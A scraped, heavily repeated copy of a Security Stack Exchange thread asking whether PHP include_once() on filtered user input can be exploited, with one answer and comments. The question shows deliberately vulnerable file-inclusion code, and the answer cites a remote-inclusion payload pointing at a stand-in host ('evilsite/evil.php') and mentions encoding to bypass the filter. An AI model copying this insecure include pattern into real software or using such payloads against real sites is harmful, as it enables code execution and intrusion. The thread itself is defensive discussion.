Mixing
![How to handle unfair workplace policies in Ireland? [closed]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjbpfN9tAutmK93bJRC3ZoROZzi2TJDms5n8_qJuhgE0a9b52OOHayv3NGT8igAdFL7byXNst-_1DZK5SjrIJ28_6RQPUpBROqMs5s6jo-ZsjX8kjDwfxJufIitH3TaQRXWaGSQKRQib-f/s72-c/1.jpg)
Can there be a way to exploit PHP include_once() when the input is filtered?
Clash Royale CLAN TAG#URR8PPP
up vote
3
down vote
favorite
Let's assume there is a code for including other php files from user input. (Yes I know it's a bad choice.)
$input = addslashes($_GET["input"]);
if (strpos($GET, '../') !== false)
include_once('/path/to/php/files'.$input);
else echo('Invalid parameter!');
This code adds slashes to single and double quotes, and then check for ../ in the string, and if it does not, includes the file.
Assuming that the hacker has write functions to other folder, and the hacker needs to access that file with ?input=../../folder/extcode this manner (which he can’t)
Can there be a vulnerabillity here?
php lfi rfi bypassing
edited 1 hour ago
OscarAkaElvis
4,0412738
asked 1 hour ago
Moonsik Park
41716
add a comment |Â
up vote
3
down vote
favorite
Let's assume there is a code for including other php files from user input. (Yes I know it's a bad choice.)
$input = addslashes($_GET["input"]);
if (strpos($GET, '../') !== false)
include_once('/path/to/php/files'.$input);
else echo('Invalid parameter!');
This code adds slashes to single and double quotes, and then check for ../ in the string, and if it does not, includes the file.
Assuming that the hacker has write functions to other folder, and the hacker needs to access that file with ?input=../../folder/extcode this manner (which he can’t)
Can there be a vulnerabillity here?
php lfi rfi bypassing
edited 1 hour ago
OscarAkaElvis
4,0412738
asked 1 hour ago
Moonsik Park
41716
Maybe LFI is still possible using base64, or url-encoding...
– game0ver
33 mins ago
add a comment |Â
up vote
3
down vote
favorite
up vote
3
down vote
favorite
Let's assume there is a code for including other php files from user input. (Yes I know it's a bad choice.)
$input = addslashes($_GET["input"]);
if (strpos($GET, '../') !== false)
include_once('/path/to/php/files'.$input);
else echo('Invalid parameter!');
This code adds slashes to single and double quotes, and then check for ../ in the string, and if it does not, includes the file.
Assuming that the hacker has write functions to other folder, and the hacker needs to access that file with ?input=../../folder/extcode this manner (which he can’t)
Can there be a vulnerabillity here?
php lfi rfi bypassing
edited 1 hour ago
OscarAkaElvis
4,0412738
asked 1 hour ago
Moonsik Park
41716
Let's assume there is a code for including other php files from user input. (Yes I know it's a bad choice.)
$input = addslashes($_GET["input"]);
if (strpos($GET, '../') !== false)
include_once('/path/to/php/files'.$input);
else echo('Invalid parameter!');
This code adds slashes to single and double quotes, and then check for ../ in the string, and if it does not, includes the file.
Assuming that the hacker has write functions to other folder, and the hacker needs to access that file with ?input=../../folder/extcode this manner (which he can’t)
Can there be a vulnerabillity here?
php lfi rfi bypassing
php lfi rfi bypassing
edited 1 hour ago
OscarAkaElvis
4,0412738
asked 1 hour ago
Moonsik Park
41716
edited 1 hour ago
OscarAkaElvis
4,0412738
asked 1 hour ago
Moonsik Park
41716
edited 1 hour ago
OscarAkaElvis
4,0412738
edited 1 hour ago
OscarAkaElvis
4,0412738
edited 1 hour ago
OscarAkaElvis
4,0412738
4,0412738
asked 1 hour ago
Moonsik Park
41716
asked 1 hour ago
Moonsik Park
41716
asked 1 hour ago
Moonsik Park
41716
41716
Maybe LFI is still possible using base64, or url-encoding...
– game0ver
33 mins ago
add a comment |Â
Maybe LFI is still possible using base64, or url-encoding...
– game0ver
33 mins ago
Maybe LFI is still possible using base64, or url-encoding...
– game0ver
33 mins ago
Maybe LFI is still possible using base64, or url-encoding...
– game0ver
33 mins ago
add a comment |Â
1 Answer
1
active
oldest
votes
up vote
2
down vote
What you are trying to block is a LFI, but this could be still vulnerable to RFI. (Link to both: https://en.wikipedia.org/wiki/File_inclusion_vulnerability).
On RFI the attacker will try to include a remote file using a payload like http://evilsite/evil.php and as you can see it doesn't contain '../' on it. To be protected of this, you should configure on your php.ini the allow_url_include and be sure that it is off. Otherwise you'll be hacked using RFI.
Talking about LFI I'm not sure 100% that this code is safe. Ok you are blocking strings like '../' but maybe the attacker could encode it someway to bypass your protection. Be careful!
answered 1 hour ago
OscarAkaElvis
4,0412738
How would an RFI work on OPs sample code? There's a local path prefix.
– Arminius
7 mins ago
add a comment |Â
1 Answer
1
active
oldest
votes
1 Answer
1
active
oldest
votes
active
oldest
votes
active
oldest
votes
up vote
2
down vote
What you are trying to block is a LFI, but this could be still vulnerable to RFI. (Link to both: https://en.wikipedia.org/wiki/File_inclusion_vulnerability).
On RFI the attacker will try to include a remote file using a payload like http://evilsite/evil.php and as you can see it doesn't contain '../' on it. To be protected of this, you should configure on your php.ini the allow_url_include and be sure that it is off. Otherwise you'll be hacked using RFI.
Talking about LFI I'm not sure 100% that this code is safe. Ok you are blocking strings like '../' but maybe the attacker could encode it someway to bypass your protection. Be careful!
answered 1 hour ago
OscarAkaElvis
4,0412738
How would an RFI work on OPs sample code? There's a local path prefix.
– Arminius
7 mins ago
add a comment |Â
up vote
2
down vote
What you are trying to block is a LFI, but this could be still vulnerable to RFI. (Link to both: https://en.wikipedia.org/wiki/File_inclusion_vulnerability).
On RFI the attacker will try to include a remote file using a payload like http://evilsite/evil.php and as you can see it doesn't contain '../' on it. To be protected of this, you should configure on your php.ini the allow_url_include and be sure that it is off. Otherwise you'll be hacked using RFI.
Talking about LFI I'm not sure 100% that this code is safe. Ok you are blocking strings like '../' but maybe the attacker could encode it someway to bypass your protection. Be careful!
answered 1 hour ago
OscarAkaElvis
4,0412738
How would an RFI work on OPs sample code? There's a local path prefix.
– Arminius
7 mins ago
add a comment |Â
up vote
2
down vote
up vote
2
down vote
What you are trying to block is a LFI, but this could be still vulnerable to RFI. (Link to both: https://en.wikipedia.org/wiki/File_inclusion_vulnerability).
On RFI the attacker will try to include a remote file using a payload like http://evilsite/evil.php and as you can see it doesn't contain '../' on it. To be protected of this, you should configure on your php.ini the allow_url_include and be sure that it is off. Otherwise you'll be hacked using RFI.
Talking about LFI I'm not sure 100% that this code is safe. Ok you are blocking strings like '../' but maybe the attacker could encode it someway to bypass your protection. Be careful!
answered 1 hour ago
OscarAkaElvis
4,0412738
What you are trying to block is a LFI, but this could be still vulnerable to RFI. (Link to both: https://en.wikipedia.org/wiki/File_inclusion_vulnerability).
On RFI the attacker will try to include a remote file using a payload like http://evilsite/evil.php and as you can see it doesn't contain '../' on it. To be protected of this, you should configure on your php.ini the allow_url_include and be sure that it is off. Otherwise you'll be hacked using RFI.
Talking about LFI I'm not sure 100% that this code is safe. Ok you are blocking strings like '../' but maybe the attacker could encode it someway to bypass your protection. Be careful!
answered 1 hour ago
OscarAkaElvis
4,0412738
answered 1 hour ago
OscarAkaElvis
4,0412738
answered 1 hour ago
OscarAkaElvis
4,0412738
answered 1 hour ago
OscarAkaElvis
4,0412738
4,0412738
How would an RFI work on OPs sample code? There's a local path prefix.
– Arminius
7 mins ago
add a comment |Â
How would an RFI work on OPs sample code? There's a local path prefix.
– Arminius
7 mins ago
How would an RFI work on OPs sample code? There's a local path prefix.
– Arminius
7 mins ago
How would an RFI work on OPs sample code? There's a local path prefix.
– Arminius
7 mins ago
add a comment |Â
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsecurity.stackexchange.com%2fquestions%2f196976%2fcan-there-be-a-way-to-exploit-php-include-once-when-the-input-is-filtered%23new-answer', 'question_page');
);
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Maybe LFI is still possible using base64, or url-encoding...
– game0ver
33 mins ago